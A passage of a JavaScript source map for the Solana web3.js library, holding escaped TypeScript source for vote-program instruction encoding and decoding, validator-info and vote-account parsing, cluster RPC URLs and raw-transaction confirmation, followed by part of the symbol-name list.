AuthorizeVoteWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorized,\n voteAuthorizationType,\n },\n } = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n return {\n currentAuthorityDerivedKeyBasePubkey: instruction.keys[2].pubkey,\n currentAuthorityDerivedKeyOwnerPubkey: new PublicKey(\n currentAuthorityDerivedKeyOwnerPubkey,\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n votePubkey: instruction.keys[0].pubkey,\n };\n }\n\n /**\n * Decode a withdraw instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawFromVoteAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedWithdrawerPubkey: instruction.keys[2].pubkey,\n lamports,\n toPubkey: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(VoteProgram.programId)) {\n throw new Error('invalid instruction; programId is not VoteProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid VoteInstructionType's\n */\nexport type VoteInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof VoteInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'InitializeAccount'\n | 'Withdraw'\n | 'UpdateValidatorIdentity';\n\n/** @internal */\nexport type VoteAuthorizeWithSeedArgs = Readonly<{\n currentAuthorityDerivedKeyOwnerPubkey: Uint8Array;\n currentAuthorityDerivedKeySeed: string;\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n}>;\ntype VoteInstructionInputData = {\n Authorize: IInstructionInputData & {\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n };\n AuthorizeWithSeed: IInstructionInputData & {\n voteAuthorizeWithSeedArgs: VoteAuthorizeWithSeedArgs;\n };\n InitializeAccount: IInstructionInputData & {\n voteInit: Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>;\n };\n Withdraw: IInstructionInputData & {\n lamports: number;\n };\n UpdateValidatorIdentity: IInstructionInputData;\n};\n\nconst VOTE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in VoteInstructionType]: InstructionType<\n VoteInstructionInputData[Instruction]\n >;\n}>({\n InitializeAccount: {\n index: 0,\n layout: BufferLayout.struct<VoteInstructionInputData['InitializeAccount']>([\n BufferLayout.u32('instruction'),\n Layout.voteInit(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<VoteInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('voteAuthorizationType'),\n ]),\n },\n Withdraw: {\n index: 3,\n layout: BufferLayout.struct<VoteInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n UpdateValidatorIdentity: {\n index: 4,\n layout: BufferLayout.struct<\n VoteInstructionInputData['UpdateValidatorIdentity']\n >([BufferLayout.u32('instruction')]),\n },\n AuthorizeWithSeed: {\n index: 10,\n layout: BufferLayout.struct<VoteInstructionInputData['AuthorizeWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.voteAuthorizeWithSeedArgs(),\n ]),\n },\n});\n\n/**\n * VoteAuthorize type\n */\nexport type VoteAuthorizationType = {\n /** The VoteAuthorize index (from solana-vote-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid VoteAuthorization layouts.\n */\nexport const VoteAuthorizationLayout = Object.freeze({\n Voter: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Vote program\n */\nexport class VoteProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Vote program\n */\n static programId: PublicKey = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Vote account\n *\n * This is generated from the solana-vote-program VoteState struct as\n * `VoteState::size_of()`:\n * https://docs.rs/solana-vote-program/1.9.5/solana_vote_program/vote_state/struct.VoteState.html#method.size_of\n *\n * KEEP IN SYNC WITH `VoteState::size_of()` in https://github.com/solana-labs/solana/blob/a474cb24b9238f5edcc982f65c0b37d4a1046f7e/sdk/program/src/vote/state/mod.rs#L340-L342\n */\n static space: number = 3762;\n\n /**\n * Generate an Initialize instruction.\n */\n static initializeAccount(\n params: InitializeAccountParams,\n ): TransactionInstruction {\n const {votePubkey, nodePubkey, voteInit} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.InitializeAccount;\n const data = encodeData(type, {\n voteInit: {\n nodePubkey: toBuffer(voteInit.nodePubkey.toBuffer()),\n authorizedVoter: toBuffer(voteInit.authorizedVoter.toBuffer()),\n authorizedWithdrawer: toBuffer(\n voteInit.authorizedWithdrawer.toBuffer(),\n ),\n commission: voteInit.commission,\n },\n });\n const instructionData = {\n keys: [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction that creates a new Vote account.\n */\n static createAccount(params: CreateVoteAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.votePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n return transaction.add(\n this.initializeAccount({\n votePubkey: params.votePubkey,\n nodePubkey: params.voteInit.nodePubkey,\n voteInit: params.voteInit,\n }),\n );\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account.\n */\n static authorize(params: AuthorizeVoteParams): Transaction {\n const {\n votePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n voteAuthorizationType,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account\n * where the current Voter or Withdrawer authority is a derived key.\n */\n static authorizeWithSeed(params: AuthorizeVoteWithSeedParams): Transaction {\n const {\n currentAuthorityDerivedKeyBasePubkey,\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey,\n voteAuthorizationType,\n votePubkey,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey: toBuffer(\n currentAuthorityDerivedKeyOwnerPubkey.toBuffer(),\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n },\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: currentAuthorityDerivedKeyBasePubkey,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw from a Vote account.\n */\n static withdraw(params: WithdrawFromVoteAccountParams): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, lamports, toPubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw safely from a Vote account.\n *\n * This function was created as a safeguard for vote accounts running validators, `safeWithdraw`\n * checks that the withdraw amount will not exceed the specified balance while leaving enough left\n * to cover rent. If you wish to close the vote account by withdrawing the full amount, call the\n * `withdraw` method directly.\n */\n static safeWithdraw(\n params: WithdrawFromVoteAccountParams,\n currentVoteAccountBalance: number,\n rentExemptMinimum: number,\n ): Transaction {\n if (params.lamports > currentVoteAccountBalance - rentExemptMinimum) {\n throw new Error(\n 'Withdraw will leave vote account with insufficient funds.',\n );\n }\n return VoteProgram.withdraw(params);\n }\n\n /**\n * Generate a transaction to update the validator identity (node pubkey) of a Vote account.\n */\n static updateValidatorIdentity(\n params: UpdateValidatorIdentityParams,\n ): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, nodePubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.UpdateValidatorIdentity;\n const data = encodeData(type);\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {\n assert as assertType,\n optional,\n string,\n type as pick,\n} from 'superstruct';\n\nimport * as Layout from './layout';\nimport * as shortvec from './utils/shortvec-encoding';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from './publickey';\nimport {guardedShift, guardedSplice} from './utils/guarded-array-utils';\n\nexport const VALIDATOR_INFO_KEY = new PublicKey(\n 'Va1idator1nfo111111111111111111111111111111',\n);\n\n/**\n * @internal\n */\ntype ConfigKey = {\n publicKey: PublicKey;\n isSigner: boolean;\n};\n\n/**\n * Info used to identity validators.\n */\nexport type Info = {\n /** validator name */\n name: string;\n /** optional, validator website */\n website?: string;\n /** optional, extra information the validator chose to share */\n details?: string;\n /** optional, validator logo URL */\n iconUrl?: string;\n /** optional, used to identify validators on keybase.io */\n keybaseUsername?: string;\n};\n\nconst InfoString = pick({\n name: string(),\n website: optional(string()),\n details: optional(string()),\n iconUrl: optional(string()),\n keybaseUsername: optional(string()),\n});\n\n/**\n * ValidatorInfo class\n */\nexport class ValidatorInfo {\n /**\n * validator public key\n */\n key: PublicKey;\n /**\n * validator information\n */\n info: Info;\n\n /**\n * Construct a valid ValidatorInfo\n *\n * @param key validator public key\n * @param info validator information\n */\n constructor(key: PublicKey, info: Info) {\n this.key = key;\n this.info = info;\n }\n\n /**\n * Deserialize ValidatorInfo from the config account data. Exactly two config\n * keys are required in the data.\n *\n * @param buffer config account data\n * @return null if info was not found\n */\n static fromConfigData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): ValidatorInfo | null {\n let byteArray = [...buffer];\n const configKeyCount = shortvec.decodeLength(byteArray);\n if (configKeyCount !== 2) return null;\n\n const configKeys: Array<ConfigKey> = [];\n for (let i = 0; i < 2; i++) {\n const publicKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const isSigner = guardedShift(byteArray) === 1;\n configKeys.push({publicKey, isSigner});\n }\n\n if (configKeys[0].publicKey.equals(VALIDATOR_INFO_KEY)) {\n if (configKeys[1].isSigner) {\n const rawInfo: any = Layout.rustString().decode(Buffer.from(byteArray));\n const info = JSON.parse(rawInfo as string);\n assertType(info, InfoString);\n return new ValidatorInfo(configKeys[1].publicKey, info);\n }\n }\n\n return null;\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport type {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport {toBuffer} from './utils/to-buffer';\n\nexport const VOTE_PROGRAM_ID = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n);\n\nexport type Lockout = {\n slot: number;\n confirmationCount: number;\n};\n\n/**\n * History of how many credits earned by the end of each epoch\n */\nexport type EpochCredits = Readonly<{\n epoch: number;\n credits: number;\n prevCredits: number;\n}>;\n\nexport type AuthorizedVoter = Readonly<{\n epoch: number;\n authorizedVoter: PublicKey;\n}>;\n\ntype AuthorizedVoterRaw = Readonly<{\n authorizedVoter: Uint8Array;\n epoch: number;\n}>;\n\ntype PriorVoters = Readonly<{\n buf: PriorVoterRaw[];\n idx: number;\n isEmpty: number;\n}>;\n\nexport type PriorVoter = Readonly<{\n authorizedPubkey: PublicKey;\n epochOfLastAuthorizedSwitch: number;\n targetEpoch: number;\n}>;\n\ntype PriorVoterRaw = Readonly<{\n authorizedPubkey: Uint8Array;\n epochOfLastAuthorizedSwitch: number;\n targetEpoch: number;\n}>;\n\nexport type BlockTimestamp = Readonly<{\n slot: number;\n timestamp: number;\n}>;\n\ntype VoteAccountData = Readonly<{\n authorizedVoters: AuthorizedVoterRaw[];\n authorizedWithdrawer: Uint8Array;\n commission: number;\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n nodePubkey: Uint8Array;\n priorVoters: PriorVoters;\n rootSlot: number;\n rootSlotValid: number;\n votes: Lockout[];\n}>;\n\n/**\n * See https://github.com/solana-labs/solana/blob/8a12ed029cfa38d4a45400916c2463fb82bbec8c/programs/vote_api/src/vote_state.rs#L68-L88\n *\n * @internal\n */\nconst VoteAccountLayout = BufferLayout.struct<VoteAccountData>([\n Layout.publicKey('nodePubkey'),\n Layout.publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n BufferLayout.nu64(), // votes.length\n BufferLayout.seq<Lockout>(\n BufferLayout.struct([\n BufferLayout.nu64('slot'),\n BufferLayout.u32('confirmationCount'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'votes',\n ),\n BufferLayout.u8('rootSlotValid'),\n BufferLayout.nu64('rootSlot'),\n BufferLayout.nu64(), // authorizedVoters.length\n BufferLayout.seq<AuthorizedVoterRaw>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n Layout.publicKey('authorizedVoter'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'authorizedVoters',\n ),\n BufferLayout.struct<PriorVoters>(\n [\n BufferLayout.seq(\n BufferLayout.struct([\n Layout.publicKey('authorizedPubkey'),\n BufferLayout.nu64('epochOfLastAuthorizedSwitch'),\n BufferLayout.nu64('targetEpoch'),\n ]),\n 32,\n 'buf',\n ),\n BufferLayout.nu64('idx'),\n BufferLayout.u8('isEmpty'),\n ],\n 'priorVoters',\n ),\n BufferLayout.nu64(), // epochCredits.length\n BufferLayout.seq<EpochCredits>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n BufferLayout.nu64('credits'),\n BufferLayout.nu64('prevCredits'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'epochCredits',\n ),\n BufferLayout.struct<BlockTimestamp>(\n [BufferLayout.nu64('slot'), BufferLayout.nu64('timestamp')],\n 'lastTimestamp',\n ),\n]);\n\ntype VoteAccountArgs = {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n};\n\n/**\n * VoteAccount class\n */\nexport class VoteAccount {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n\n /**\n * @internal\n */\n constructor(args: VoteAccountArgs) {\n this.nodePubkey = args.nodePubkey;\n this.authorizedWithdrawer = args.authorizedWithdrawer;\n this.commission = args.commission;\n this.rootSlot = args.rootSlot;\n this.votes = args.votes;\n this.authorizedVoters = args.authorizedVoters;\n this.priorVoters = args.priorVoters;\n this.epochCredits = args.epochCredits;\n this.lastTimestamp = args.lastTimestamp;\n }\n\n /**\n * Deserialize VoteAccount from the account data.\n *\n * @param buffer account data\n * @return VoteAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): VoteAccount {\n const versionOffset = 4;\n const va = VoteAccountLayout.decode(toBuffer(buffer), versionOffset);\n\n let rootSlot: number | null = va.rootSlot;\n if (!va.rootSlotValid) {\n rootSlot = null;\n }\n\n return new VoteAccount({\n nodePubkey: new PublicKey(va.nodePubkey),\n authorizedWithdrawer: new PublicKey(va.authorizedWithdrawer),\n commission: va.commission,\n votes: va.votes,\n rootSlot,\n authorizedVoters: va.authorizedVoters.map(parseAuthorizedVoter),\n priorVoters: getPriorVoters(va.priorVoters),\n epochCredits: va.epochCredits,\n lastTimestamp: va.lastTimestamp,\n });\n }\n}\n\nfunction parseAuthorizedVoter({\n authorizedVoter,\n epoch,\n}: AuthorizedVoterRaw): AuthorizedVoter {\n return {\n epoch,\n authorizedVoter: new PublicKey(authorizedVoter),\n };\n}\n\nfunction parsePriorVoters({\n authorizedPubkey,\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n}: PriorVoterRaw): PriorVoter {\n return {\n authorizedPubkey: new PublicKey(authorizedPubkey),\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n };\n}\n\nfunction getPriorVoters({buf, idx, isEmpty}: PriorVoters): PriorVoter[] {\n if (isEmpty) {\n return [];\n }\n\n return [\n ...buf.slice(idx + 1).map(parsePriorVoters),\n ...buf.slice(0, idx).map(parsePriorVoters),\n ];\n}\n","const endpoint = {\n http: {\n devnet: 'http://api.devnet.solana.com',\n testnet: 'http://api.testnet.solana.com',\n 'mainnet-beta': 'http://api.mainnet-beta.solana.com/',\n },\n https: {\n devnet: 'https://api.devnet.solana.com',\n testnet: 'https://api.testnet.solana.com',\n 'mainnet-beta': 'https://api.mainnet-beta.solana.com/',\n },\n};\n\nexport type Cluster = 'devnet' | 'testnet' | 'mainnet-beta';\n\n/**\n * Retrieves the RPC API URL for the specified cluster\n * @param {Cluster} [cluster=\"devnet\"] - The cluster name of the RPC API URL to use. Possible options: 'devnet' | 'testnet' | 'mainnet-beta'\n * @param {boolean} [tls=\"http\"] - Use TLS when connecting to cluster.\n *\n * @returns {string} URL string of the RPC endpoint\n */\nexport function clusterApiUrl(cluster?: Cluster, tls?: boolean): string {\n const key = tls === false ? 'http' : 'https';\n\n if (!cluster) {\n return endpoint[key]['devnet'];\n }\n\n const url = endpoint[key][cluster];\n if (!url) {\n throw new Error(`Unknown ${key} cluster: ${cluster}`);\n }\n return url;\n}\n","import type {Buffer} from 'buffer';\n\nimport {\n BlockheightBasedTransactionConfirmationStrategy,\n Connection,\n DurableNonceTransactionConfirmationStrategy,\n TransactionConfirmationStrategy,\n} from '../connection';\nimport type {TransactionSignature} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Send and confirm a raw transaction\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Buffer} rawTransaction\n * @param {TransactionConfirmationStrategy} confirmationStrategy\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategy: TransactionConfirmationStrategy,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n/**\n * @deprecated Calling `sendAndConfirmRawTransaction()` without a `confirmationStrategy`\n * is no longer supported and will be removed in a future version.\n */\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategyOrConfirmOptions:\n | TransactionConfirmationStrategy\n | ConfirmOptions\n | undefined,\n maybeConfirmOptions?: ConfirmOptions,\n): Promise<TransactionSignature> {\n let confirmationStrategy: TransactionConfirmationStrategy | undefined;\n let options: ConfirmOptions | undefined;\n if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'lastValidBlockHeight',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as BlockheightBasedTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'nonceValue',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as DurableNonceTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else {\n options = confirmationStrategyOrConfirmOptions as\n | ConfirmOptions\n | undefined;\n }\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendRawTransaction(\n rawTransaction,\n sendOptions,\n );\n\n const commitment = options && options.commitment;\n const confirmationPromise = confirmationStrategy\n ? connection.confirmTransaction(confirmationStrategy, commitment)\n : connection.confirmTransaction(signature, commitment);\n const status = (await confirmationPromise).value;\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: sendOptions?.skipPreflight ? 'send' : 'simulate',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Raw transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","export * from './account';\nexport * from './blockhash';\nexport * from './bpf-loader-deprecated';\nexport * from './bpf-loader';\nexport * from './connection';\nexport * from './epoch-schedule';\nexport * from './errors';\nexport * from './fee-calculator';\nexport * from './keypair';\nexport * from './loader';\nexport * from './message';\nexport * from './nonce-account';\nexport * from './programs';\nexport * from './publickey';\nexport * from './transaction';\nexport * from './validator-info';\nexport * from './vote-account';\nexport * from './sysvar';\nexport * from './utils';\n\n/**\n * There are 1-billion lamports in one SOL\n */\nexport const LAMPORTS_PER_SOL = 1000000000;\n"],"names":["generatePrivateKey","ed25519","utils","randomPrivateKey","generateKeypair","privateScalar","publicKey","getPublicKey","secretKey","Uint8Array","set","isOnCurve","ExtendedPoint","fromHex","sign","message","slice","verify","toBuffer","arr","Buffer","isBuffer","from","buffer","byteOffset","byteLength","Struct","constructor","properties","Object","assign","encode","serialize","SOLANA_SCHEMA","decode","data","deserialize","decodeUnchecked","deserializeUnchecked","Enum","enum","keys","length","Error","map","key","Map","MAX_SEED_LENGTH","PUBLIC_KEY_LENGTH","isPublicKeyData","value","_bn","undefined","uniquePublicKeyCounter","PublicKey","decoded","bs58","BN","unique","equals","eq","toBase58","toBytes","toJSON","buf","b","toArrayLike","zeroPad","alloc","copy","Symbol","toStringTag","toString","createWithSeed","fromPublicKey","seed","programId","concat","publicKeyBytes","sha256","createProgramAddressSync","seeds","forEach","TypeError","createProgramAddress","findProgramAddressSync","nonce","address","seedsWithNonce","err","findProgramAddress","pubkeyData","pubkey","_PublicKey","default","kind","fields","Account","_publicKey","_secretKey","secretKeyBuffer","BPF_LOADER_DEPRECATED_PROGRAM_ID","PACKET_DATA_SIZE","VERSION_PREFIX_MASK","SIGNATURE_LENGTH_IN_BYTES","TransactionExpiredBlockheightExceededError","signature","defineProperty","prototype","TransactionExpiredTimeoutError","timeoutSeconds","toFixed","TransactionExpiredNonceInvalidError","MessageAccountKeys","staticAccountKeys","accountKeysFromLookups","keySegments","push","writable","readonly","get","index","keySegment","flat","compileInstructions","instructions","U8_MAX","keyIndexMap","findKeyIndex","keyIndex","instruction","programIdIndex","accountKeyIndexes","meta","property","BufferLayout","blob","rustString","rsl","struct","u32","offset","_decode","bind","_encode","rslShim","str","chars","span","authorized","lockup","ns64","voteInit","u8","voteAuthorizeWithSeedArgs","getAlloc","type","getItemAlloc","item","field","Array","isArray","elementLayout","layout","decodeLength","bytes","len","size","elem","shift","encodeLength","rem_len","condition","CompiledKeys","payer","keyMetaMap","compile","getOrInsertDefault","keyMeta","isSigner","isWritable","isInvoked","payerKeyMeta","ix","accountMeta","getMessageComponents","mapEntries","entries","assert","writableSigners","filter","readonlySigners","writableNonSigners","readonlyNonSigners","header","numRequiredSignatures","numReadonlySignedAccounts","numReadonlyUnsignedAccounts","payerAddress","extractTableLookup","lookupTable","writableIndexes","drainedWritableKeys","drainKeysFoundInLookupTable","state","addresses","readonlyIndexes","drainedReadonlyKeys","accountKey","lookupTableEntries","keyMetaFilter","lookupTableIndexes","drainedKeys","lookupTableIndex","findIndex","entry","delete","END_OF_BUFFER_ERROR_MESSAGE","guardedShift","byteArray","guardedSplice","args","start","splice","Message","accountKeys","recentBlockhash","indexToProgramIds","account","version","compiledInstructions","accounts","addressTableLookups","getAccountKeys","compiledKeys","payerKey","isAccountSigner","isAccountWritable","numSignedAccounts","unsignedAccountIndex","numUnsignedAccounts","numWritableUnsignedAccounts","numWritableSignedAccounts","isProgramId","has","programIds","values","nonProgramIds","_","numKeys","keyCount","shortvec","keyIndicesCount","dataCount","keyIndices","dataLength","instructionCount","instructionBuffer","instructionBufferLength","instructionLayout","seq","signDataLayout","Layout","transaction","signData","accountCount","i","dataSlice","messageArgs","MessageV0","numAccountKeysFromLookups","count","lookup","addressLookupTableAccounts","resolveAddressTableLookups","numStaticAccountKeys","lookupAccountKeysIndex","numWritableLookupAccountKeys","reduce","tableLookup","tableAccount","find","lookupTableAccounts","extractResult","addressTableLookup","encodedStaticAccountKeysLength","serializedInstructions","serializeInstructions","encodedInstructionsLength","serializedAddressTableLookups","serializeAddressTableLookups","encodedAddressTableLookupsLength","messageLayout","serializedMessage","MESSAGE_VERSION_0_PREFIX","serializedMessageLength","prefix","staticAccountKeysLength","instructionsLength","addressTableLookupsLength","serializedLength","encodedAccountKeyIndexesLength","encodedDataLength","encodedWritableIndexesLength","encodedReadonlyIndexesLength","addressTableLookupLayout","maskedPrefix","accountKeyIndexesLength","addressTableLookupsCount","writableIndexesLength","readonlyIndexesLength","VersionedMessage","deserializeMessageVersion","TransactionStatus","DEFAULT_SIGNATURE","fill","TransactionInstruction","opts","Transaction","signatures","feePayer","lastValidBlockHeight","nonceInfo","minNonceContextSlot","_message","_json","hasOwnProperty","call","minContextSlot","blockhash","nonceInstruction","signers","add","items","compileMessage","JSON","stringify","console","warn","accountMetas","includes","uniqueMetas","pubkeyString","uniqueIndex","x","sort","y","options","localeMatcher","usage","sensitivity","ignorePunctuation","numeric","caseFirst","localeCompare","feePayerIndex","payerMeta","unshift","signedKeys","unsignedKeys","indexOf","invariant","_compile","valid","every","pair","serializeMessage","getEstimatedFee","connection","getFeeForMessage","setSigners","seen","Set","uniqueSigners","signer","_partialSign","partialSign","_addSignature","addSignature","sigpair","verifySignatures","requireAllSignatures","signatureErrors","_getMessageSignednessErrors","errors","missing","invalid","config","sigErrors","errorMessage","p","join","_serialize","signatureCount","transactionLength","wireTransaction","keyObj","populate","sigPubkeyPair","some","TransactionMessage","decompile","compiledIx","compileToLegacyMessage","compileToV0Message","VersionedTransaction","defaultSignatures","encodedSignaturesLength","transactionLayout","serializedTransaction","serializedTransactionLength","signaturesLength","messageData","signerPubkeys","signerIndex","NUM_TICKS_PER_SECOND","DEFAULT_TICKS_PER_SLOT","NUM_SLOTS_PER_SECOND","MS_PER_SLOT","SYSVAR_CLOCK_PUBKEY","SYSVAR_EPOCH_SCHEDULE_PUBKEY","SYSVAR_INSTRUCTIONS_PUBKEY","SYSVAR_RECENT_BLOCKHASHES_PUBKEY","SYSVAR_RENT_PUBKEY","SYSVAR_REWARDS_PUBKEY","SYSVAR_SLOT_HASHES_PUBKEY","SYSVAR_SLOT_HISTORY_PUBKEY","SYSVAR_STAKE_HISTORY_PUBKEY","SendTransactionError","action","transactionMessage","logs","maybeLogsOutput","guideText","a","transactionLogs","transactionError","cachedLogs","getLogs","Promise","resolve","reject","getTransaction","then","tx","logMessages","catch","SolanaJSONRPCErrorCode","JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP","JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE","JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE","JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY","JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE","JSON_